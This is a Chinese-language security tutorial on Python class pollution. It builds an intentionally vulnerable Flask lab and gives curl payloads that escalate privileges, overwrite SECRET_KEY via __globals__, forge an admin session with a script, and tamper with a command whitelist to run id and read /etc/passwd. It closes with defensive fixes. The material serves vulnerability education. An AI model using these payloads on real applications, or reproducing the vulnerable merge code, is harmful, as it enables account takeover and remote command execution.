Python Class Pollution:从属性覆盖到远程代码执行
类属性污染实现全局权限提升、__globals__ 劫持覆盖 Flask SECRET_KEY 实现会话伪造、以及全局变量篡改实现 RCE。
〇、前言
前几天审计一个基于 Flask 的管理系统时,我在用户资料更新接口看到了一段很典型的代码:前端提交 JSON,后端用一个递归合并函数把数据写进用户对象。这种模式在 Python Web 项目里到处都是,初看没什么毛病。但把合并函数的实现展开读了几遍之后,越看越觉得不对劲——hasattr + setattr 的递归组合,配合 Python 对象天然暴露的 __class__、__init__,这不就是 JavaScript 原型链污染在 Python 里的等价形式吗?
免责声明:本文所有实验仅在本地授权环境中进行,旨在提升安全从业者对此类漏洞的认知与防御能力。请勿将文中技术用于未授权的渗透测试。
一、Python 对象模型:理解攻击的基础设施
在进入漏洞分析之前,需要先理解 Python 对象模型的几个关键特性。正是这些设计为类污染攻击提供了底层支撑。
1.1 一切皆对象,类也是对象
Python 中不存在 "原始类型" 的概念。整数、字符串、函数、类本身,全部都是对象。每个对象都有一个 __class__ 属性,指向它所属的类:
class Employee:
company = "DefaultCorp"
emp = Employee()
print(type(emp)) # <class '__main__.Employee'>
print(emp.__class__) # <class '__main__.Employee'>
print(emp.__class__.__base__) # <class 'object'>这意味着,从任何一个实例出发,都能通过属性访问链条回溯到它的类、父类,乃至整个继承体系。
1.2 属性查找机制:MRO 与描述符协议
当访问 emp.company 时,Python 的属性查找遵循以下顺序:
- 实例的
__dict__(实例属性) - 类的
__dict__(类属性) - 沿 MRO(Method Resolution Order)向上查找父类
如果 company 没有被设置为实例属性,解释器会沿着 emp.__class__ -> Employee -> object 这条链逐级向上查找。这里有一个容易被忽视但直接影响攻击可行性的特性:
修改类属性,会影响所有没有同名实例属性的实例。
1.3 关键特殊属性
以下是类污染攻击中需要用到的特殊属性,每一个都是攻击链上的关键跳板:
属性 | 说明 | 攻击中的角色 |
| 实例所属的类 | 入口,从实例跳到类对象 |
| 类的直接父类 | 向上遍历继承链,扩大污染范围 |
| 父类元组(多继承) | 多继承场景的遍历 |
| 所有直接子类的列表 | 向下遍历,定位危险子类 |
| 构造函数(函数对象) | 跳板,用于访问 |
| 函数所在模块的全局命名空间 | 终极目标,可读写任意全局变量 |
| 完整的方法解析顺序 | 辅助分析属性查找路径 |
1.4 与 JavaScript 原型链的结构对比
理解过 JavaScript 原型链污染的读者,可以通过以下对比快速建立映射关系:

二、漏洞成因:递归合并中的属性遍历失控
2.1 问题的根源
类污染的触发条件非常明确:当应用使用递归合并函数将用户可控的字典数据写入对象时,如果没有过滤以双下划线开头和结尾的特殊属性,攻击者就能通过精心构造的嵌套 JSON 遍历对象的类继承链和函数全局命名空间。
下面是一个在 Python Web 项目中极为常见的递归合并函数:
def vulnerable_merge(dst, src):
"""
递归合并 src 字典到 dst 对象
同时支持对象属性和字典键的递归处理
"""
for key, value in src.items():
if isinstance(dst, dict):
if key in dst and isinstance(value, dict):
vulnerable_merge(dst[key], value)
else:
dst[key] = value
elif hasattr(dst, key) and isinstance(value, dict):
vulnerable_merge(getattr(dst, key), value)
else:
setattr(dst, key, value)这段代码的意图是将用户提交的 JSON 数据递归合并到目标对象上,支持嵌套结构的深层更新。看起来很合理,但它犯了一个致命错误:没有检查 key 是否为特殊属性。
2.2 安全的浅合并 vs 危险的深合并
对比两种实现可以更清楚地看出问题所在:
# 安全:只处理第一层,不递归
def safe_shallow_merge(dst, src):
for key, value in src.items():
dst[key] = value # 字典赋值,不涉及属性遍历
# 危险:递归进入嵌套对象,hasattr + setattr 构成遍历链
def dangerous_deep_merge(dst, src):
for key, value in src.items():
if hasattr(dst, key) and isinstance(value, dict):
dangerous_deep_merge(getattr(dst, key), value) # 递归深入
else:
setattr(dst, key, value) # 任意属性写入关键在于 hasattr(dst, key) 这一判断:由于 Python 对象天然拥有 __class__、__init__ 等属性,当 key 为 "__class__" 时,hasattr 返回 True,getattr 返回类对象,递归就沿着类继承链深入了。
2.3 三种常见的可利用模式
模式一:hasattr + setattr 递归
def merge(dst, src):
for key, value in src.items():
if hasattr(dst, key) and isinstance(value, dict):
merge(getattr(dst, key), value)
else:
setattr(dst, key, value)模式二:__dict__ 直接操作
def merge(dst, src):
for key, value in src.items():
if key in dst.__dict__ and isinstance(value, dict):
merge(dst.__dict__[key], value)
else:
dst.__dict__[key] = value模式三:混合字典与对象的递归合并
def merge(dst, src):
for key, value in src.items():
if isinstance(dst, dict):
if key in dst and isinstance(value, dict):
merge(dst[key], value)
else:
dst[key] = value
elif hasattr(dst, key) and isinstance(value, dict):
merge(getattr(dst, key), value)
else:
setattr(dst, key, value)2.4 污染路径逐步推演
以下通过一个最小化示例,展示类污染是如何一步步发生的:
class BaseUser:
is_admin = False
class Employee(BaseUser):
company = "DefaultCorp"
# 创建两个普通实例
alice = Employee()
bob = Employee()
print(alice.is_admin) # False —— 来自 BaseUser 的类属性
print(bob.is_admin) # False
# 攻击者提交的 JSON(通过某个 API 接口传入)
malicious_data = {
"__class__": {
"__base__": {
"is_admin": True
}
}
}
# 后端执行 merge
vulnerable_merge(alice, malicious_data)merge 的执行路径如下:
merge(alice, {"__class__": {"__base__": {"is_admin": True}}})
│
├─ key="__class__", value={"__base__": {...}}
│ hasattr(alice, "__class__") → True
│ isinstance(value, dict) → True
│ → merge(alice.__class__, {"__base__": {"is_admin": True}})
│ = merge(Employee, {"__base__": {"is_admin": True}})
│ │
│ ├─ key="__base__", value={"is_admin": True}
│ │ hasattr(Employee, "__base__") → True
│ │ → merge(Employee.__base__, {"is_admin": True})
│ │ = merge(BaseUser, {"is_admin": True})
│ │ │
│ │ ├─ key="is_admin", value=True
│ │ │ isinstance(True, dict) → False
│ │ │ → setattr(BaseUser, "is_admin", True) ← 污染发生!验证结果:
print(alice.is_admin) # True ← 被污染
print(bob.is_admin) # True ← 从未被直接操作,但也被污染了
# 新创建的实例同样受影响
charlie = Employee()
print(charlie.is_admin) # True这里的核心机制是:攻击者操作的是一个实例,但 setattr 写入的目标是类对象本身,所以整个继承体系中的所有实例——包括已经存在的和将来会创建的——都会受到影响。因为实例没有同名的实例属性来"遮蔽"被污染的类属性。
三、靶场搭建
3.1 环境准备
sudo apt update
python3 -m venv class-pollution-lab
source class-pollution-lab/bin/activate
pip install flask==3.1.1 requests
3.2 靶场代码
创建 vuln_app.py,完整代码如下:
from flask import Flask, request, jsonify, session
import os
app = Flask(__name__)
app.secret_key = os.urandom(24).hex()
# -------- 漏洞核心:不安全的递归合并函数 --------
def vulnerable_merge(dst, src):
for key, value in src.items():
if isinstance(dst, dict):
if key in dst and isinstance(value, dict):
vulnerable_merge(dst[key], value)
else:
dst[key] = value
elif hasattr(dst, key) and isinstance(value, dict):
vulnerable_merge(getattr(dst, key), value)
else:
setattr(dst, key, value)
# -------- 数据模型 --------
class BaseUser:
"""所有用户的基类"""
is_admin = False
default_credit = 100
class UserProfile(BaseUser):
"""用户资料,继承 BaseUser 的 is_admin 和 default_credit"""
company = "DefaultCorp"
def __init__(self, username, email):
self.username = username
self.email = email
# 注意:is_admin 和 default_credit 未在此设置为实例属性
# 查找路径:实例 → UserProfile → BaseUser
# -------- 命令白名单 --------
ALLOWED_COMMANDS = {"whoami": "whoami", "date": "date", "uptime": "uptime"}
# -------- 用户存储 --------
users = {}
@app.route('/register', methods=['POST'])
def register():
data = request.json
username = data.get('username', '')
email = data.get('email', '')
if not username or not email:
return jsonify({"error": "username and email required"}), 400
user = UserProfile(username, email)
users[username] = user
return jsonify({
"msg": f"User {username} registered",
"is_admin": user.is_admin,
"credit": user.default_credit,
"company": user.company
})
@app.route('/profile/update', methods=['POST'])
def update_profile():
"""漏洞接口:接收 JSON 并递归合并到用户对象"""
data = request.json
username = data.get('username', '')
user = users.get(username)
if not user:
return jsonify({"error": "User not found"}), 404
update_data = data.get('update', {})
vulnerable_merge(user, update_data)
return jsonify({
"msg": "Profile updated",
"username": user.username,
"email": user.email,
"is_admin": user.is_admin,
"credit": user.default_credit,
"company": user.company
})
@app.route('/admin')
def admin_panel():
"""受保护的管理接口(基于 session 鉴权)"""
if not session.get('is_admin'):
return jsonify({"error": "Forbidden: admin only"}), 403
return jsonify({
"msg": f"Welcome admin {session.get('username', 'unknown')}",
"secret_key_preview": app.secret_key[:8] + "...",
"total_users": len(users),
"all_emails": [u.email for u in users.values()]
})
@app.route('/debug')
def debug_info():
"""调试接口:展示当前系统状态"""
return jsonify({
"secret_key_prefix": app.secret_key[:16],
"BaseUser.is_admin": BaseUser.is_admin,
"BaseUser.default_credit": BaseUser.default_credit,
"UserProfile.company": UserProfile.company,
"users": {
k: {
"email": v.email,
"is_admin": v.is_admin,
"credit": v.default_credit
}
for k, v in users.items()
},
"ALLOWED_COMMANDS": ALLOWED_COMMANDS
})
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
user = users.get(username)
if user:
session['username'] = username
session['is_admin'] = user.is_admin
return jsonify({"msg": f"Logged in as {username}", "is_admin": user.is_admin})
return jsonify({"error": "User not found"}), 404
@app.route('/system/info', methods=['GET'])
def system_info():
"""白名单命令执行接口"""
cmd_name = request.args.get('cmd', 'whoami')
cmd = ALLOWED_COMMANDS.get(cmd_name)
if cmd is None:
return jsonify({"error": "Command not allowed"}), 403
result = os.popen(cmd).read()
return jsonify({"output": result.strip()})
if __name__ == '__main__':
print(f"[*] Secret key: {app.secret_key}")
print(f"[*] BaseUser.is_admin = {BaseUser.is_admin}")
print(f"[*] Starting on http://0.0.0.0:5000")
app.run(host='0.0.0.0', port=5000, debug=False)3.3 启动靶场
source class-pollution-lab/bin/activate
python3 vuln_app.py
确认可访问、可用:

3.4 接口概览
接口 | 方法 | 功能 | 是否存在漏洞 |
| POST | 注册用户 | 否 |
| POST | 更新用户资料 | 是(类污染入口) |
| GET | 管理后台 | 否(session 鉴权) |
| POST | 用户登录 | 否 |
| GET | 系统信息查询 | 否(白名单限制) |
| GET | 调试信息 | 否(辅助验证) |

三条利用链从同一个入口
/profile/update出发,分别到达类属性、Flask 密钥、命令白名单三个攻击终点
四、利用链一:类属性污染实现全局权限提升
4.1 攻击目标
BaseUser 类定义了 is_admin = False 作为类属性。所有 UserProfile 实例通过继承链读取该值。攻击目标是将 BaseUser.is_admin 污染为 True,使所有现有用户和未来创建的用户都自动获得管理员权限。
4.2 攻击步骤
第一步:注册正常用户和攻击者账户
注册普通用户 alice
curl -X POST http://127.0.0.1:5000/register \
-H "Content-Type: application/json" \
-d '{"username":"alice","email":"alice@test.com"}'
注册攻击者
curl -X POST http://127.0.0.1:5000/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","email":"evil@test.com"}'
响应同样显示 is_admin: false。
第二步:确认攻击前状态
curl http://127.0.0.1:5000/debug
第三步:发送类污染 payload
curl -X POST http://127.0.0.1:5000/profile/update \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"update": {
"__class__": {
"__base__": {
"is_admin": true
}
}
}
}'
这个 payload 的遍历路径:

第四步:验证污染效果
curl http://127.0.0.1:5000/debug攻击前

攻击后

alice 的 is_admin 变成了 true,而她本人从未执行过任何操作。攻击者操作的是 attacker 的更新接口,但修改的是 BaseUser 类级别的属性,所有继承自 BaseUser 的实例都受到了波及。
alice 从头到尾没有发过任何请求,但权限已经被提升。
第五步:验证后续注册用户也被影响
curl -X POST http://127.0.0.1:5000/register \
-H "Content-Type: application/json" \
-d '{"username":"bob","email":"bob@test.com"}'
bob 注册即为管理员,无需任何额外操作。
4.3 影响范围分析


如果 is_admin 在 __init__ 中通过 self.is_admin = False 显式设置为实例属性,那么类属性的污染就不会影响已有实例(因为实例属性优先级高于类属性)。但新创建的实例在 __init__ 执行时仍会读取已污染的默认值。
可以用以下代码片段在 Python REPL 里直观验证实例属性与类属性的优先级差异:
class Demo:
flag = "class_level"
d1 = Demo()
d1.flag = "instance_level" # 设置了实例属性
Demo.flag = "POLLUTED" # 污染类属性
print(d1.flag) # "instance_level" ← 不受影响,实例属性优先
d2 = Demo()
print(d2.flag) # "POLLUTED" ← 新实例没有同名实例属性,读到了被污染的类属性4.4 一个更隐蔽的变体:污染 default_credit
权限提升容易被注意到,但数值型属性的污染更具隐蔽性:
curl -X POST http://127.0.0.1:5000/profile/update \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"update": {
"__class__": {
"__base__": {
"default_credit": 999999
}
}
}
}'
执行后,所有用户的 default_credit 从 100 变为 999999。
五、利用链二:__globals__ 劫持覆盖 Flask SECRET_KEY
利用链一展示的是类属性层面的"水平扩散"——沿继承链污染同一个属性。利用链二则要往纵深走:从用户对象出发,穿透到应用的全局命名空间,直接改写 Flask 的核心安全配置。
5.1 攻击原理
Python 中每个函数对象都有一个 __globals__ 属性,指向该函数定义时所在模块的全局命名空间字典。在 Flask 应用中,这个字典通常包含 app 对象、导入的模块、全局变量等。
攻击链路:

第一步:确认当前 secret_key
curl http://127.0.0.1:5000/debug
secret_key 是随机生成的 48 字符十六进制字符串,正常情况下无法猜测。
第二步:通过 __globals__ 覆盖 secret_key
curl -X POST http://127.0.0.1:5000/profile/update \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"update": {
"__class__": {
"__init__": {
"__globals__": {
"app": {
"secret_key": "attacker_controlled_key_2025"
}
}
}
}
}
}'
merge 执行路径:

注意第四层到第五层的转换:__globals__ 返回的是一个字典,所以 merge 函数进入了 isinstance(dst, dict) 分支。它能在对象属性和字典键之间无缝切换,一旦触及 __globals__,整个模块的全局变量空间就变成了可写的攻击面。
第三步:确认污染成功
curl http://127.0.0.1:5000/debug
secret_key 已被覆盖为攻击者可控的值。
5.3 伪造 Admin Session
secret_key 被覆盖后,攻击者可以使用 Flask 的 session 序列化接口伪造任意用户的 session cookie。
exploit_session.py:
#!/usr/bin/env python3
"""利用已知 secret_key 伪造 Flask admin session"""
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import requests
TARGET = "http://127.0.0.1:5000"
KNOWN_KEY = "attacker_controlled_key_2025"
# 步骤 1:用已知 key 构建伪造环境
fake_app = Flask(__name__)
fake_app.secret_key = KNOWN_KEY
# 步骤 2:使用 Flask 原生的 session 序列化器
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(fake_app)
# 步骤 3:构造 admin session 数据并签名
session_data = {"username": "superadmin", "is_admin": True}
forged_cookie = serializer.dumps(session_data)
print(f"[*] Known secret_key: {KNOWN_KEY}")
print(f"[+] Forged session cookie: {forged_cookie}")
# 步骤 4:携带伪造 cookie 访问管理后台
resp = requests.get(
f"{TARGET}/admin",
cookies={"session": forged_cookie}
)
print(f"[+] Admin panel status: {resp.status_code}")
print(f"[+] Response: {resp.json()}")执行结果:

注意看 cookie 的结构:eyJ1c2VybmFtZSI6InN1cGVyYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZX0 是 base64 编码的 session payload,可以直接解码验证内容:

后面的两段(.ae1i4Q.SthnVLzo_Thdy4QykCK0AVDPn38)分别是时间戳和 HMAC 签名。因为我们已经控制了 secret_key,签名可以随意伪造,服务端会认为这是合法的 session。
5.4 利用链分析
这条利用链的价值在于它的通用性。Flask 应用的 session 安全完全依赖 secret_key 的保密性。一旦 secret_key 被覆盖为已知值,攻击者可以:
- 伪造任意用户的 session:冒充管理员、冒充其他用户
- 解密现有 session:获取其他在线用户的 session 数据
- 绕过 CSRF 保护:Flask-WTF 的 CSRF token 同样基于
secret_key签名
而且,这个攻击在服务端日志中几乎不留痕迹——/profile/update 接口的正常功能就是更新用户资料,恶意 payload 和正常请求在 HTTP 层面无法区分。
六、利用链三:全局变量篡改实现 RCE
6.1 攻击场景
靶场中的 /system/info 接口通过白名单 ALLOWED_COMMANDS 限制可执行的命令。从设计角度看,这种白名单策略是合理的:
ALLOWED_COMMANDS = {"whoami": "whoami", "date": "date", "uptime": "uptime"}
@app.route('/system/info')
def system_info():
cmd_name = request.args.get('cmd', 'whoami')
cmd = ALLOWED_COMMANDS.get(cmd_name)
if cmd is None:
return jsonify({"error": "Command not allowed"}), 403
result = os.popen(cmd).read()
return jsonify({"output": result.strip()})攻击者无法通过 cmd 参数注入非白名单命令。但如果能修改 ALLOWED_COMMANDS 字典本身呢?
6.2 攻击步骤
第一步:确认正常行为
# 白名单内的命令正常执行
curl "http://127.0.0.1:5000/system/info?cmd=whoami"
# 白名单外的命令被拒绝
curl "http://127.0.0.1:5000/system/info?cmd=id"![]()
第二步:通过 __globals__ 污染白名单
curl -X POST http://127.0.0.1:5000/profile/update \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"update": {
"__class__": {
"__init__": {
"__globals__": {
"ALLOWED_COMMANDS": {
"whoami": "id",
"rce": "cat /etc/passwd | head -5"
}
}
}
}
}
}'
第三步:验证 RCE
# 看似正常的请求,但执行的是被篡改的命令
curl "http://127.0.0.1:5000/system/info?cmd=whoami"
原本应该返回用户名的 whoami 命令,现在返回了 id 的完整输出。仔细看响应内容就能发现差异:正常的 whoami 只返回一个用户名字符串,而被替换后返回的是 uid=...gid=...groups=... 这种 id 命令特有的格式。
# 执行注入的任意命令
curl "http://127.0.0.1:5000/system/info?cmd=rce"
成功读取了 /etc/passwd 文件内容。
6.3 攻击链路全景图

6.4 这条 RCE 链为什么难防
类污染的 RCE 路径有几个头疼的点:
- 命令执行代码本身是安全的:
/system/info严格使用白名单,代码审计不会标记为危险; - 注入点和执行点分离:污染发生在
/profile/update,执行发生在/system/info,两个接口功能毫不相关; - WAF 难以检测:POST 到
/profile/update的请求是合法的 JSON 结构,不包含任何传统的命令注入特征(分号、管道符等出现在 JSON value 中,不在参数位置)。
七、防御方案
7.1 黑名单过滤 dunder 属性
def safe_merge(dst, src):
for key, value in src.items():
# 拒绝所有双下划线属性
if key.startswith('__') and key.endswith('__'):
continue
if isinstance(dst, dict):
if key in dst and isinstance(value, dict):
safe_merge(dst[key], value)
else:
dst[key] = value
elif hasattr(dst, key) and isinstance(value, dict):
safe_merge(getattr(dst, key), value)
else:
setattr(dst, key, value)优点:改动量最小,可快速应用到存量代码。
缺点:黑名单存在遗漏风险,且单下划线开头的私有属性仍可被覆盖。
7.2 白名单字段控制
def safe_update(user, data):
ALLOWED_FIELDS = {'email', 'nickname', 'avatar', 'bio'}
for key, value in data.items():
if key in ALLOWED_FIELDS:
setattr(user, key, value)
# 不在白名单中的字段直接忽略优点:从根本上杜绝了属性遍历问题。
缺点:每增加一个可更新字段都需要修改白名单。
7.3 Pydantic 模型校验
from pydantic import BaseModel
class ProfileUpdate(BaseModel):
email: str | None = None
nickname: str | None = None
bio: str | None = None
# 只定义允许更新的字段,其他字段自动被丢弃
@app.route('/profile/update', methods=['POST'])
def update_profile():
data = request.json
username = data.get('username')
user = users.get(username)
if not user:
return jsonify({"error": "User not found"}), 404
# Pydantic 自动校验并过滤,__class__ 等字段直接被忽略
validated = ProfileUpdate(**data.get('update', {}))
for field, value in validated.model_dump(exclude_unset=True).items():
setattr(user, field, value)
return jsonify({"msg": "Profile updated"})优点:类型安全、自动校验、天然免疫类污染。
缺点:需要为每种更新场景定义 Model。
八、总结
- 动态语言的灵活性就是它的攻击面。 Python 的 "一切皆对象" 哲学带来了极大的元编程能力,但也意味着
__class__、__init__、__globals__这些语言基础设施,始终暴露在属性查找路径上。当不受信任的数据进入属性遍历流程时,这些 "基础设施" 就成了攻击者的跳板。 - 漏洞模式是跨语言的。 JavaScript 的原型链污染和 Python 的类污染,本质上是同一个问题在不同语言运行时中的表现。
- 注入点与执行点的分离增加了检测难度。 利用链三中,漏洞入口在
/profile/update,RCE 的触发点却在/system/info,两个接口在业务上毫无关联。类污染的数据流是"拐弯"的——通过修改全局状态来间接影响另一个完全独立的代码路径。
参考资料
- Abdulraheem Khaled, "Class Pollution in Python", 2023
- CVE-2023-26145 -- Pydash prototype pollution vulnerability
- Python Documentation -- Data Model: Special Attributes
- OWASP -- Mass Assignment Cheat Sheet
- Synacktiv -- Server-side Prototype Pollution Research Series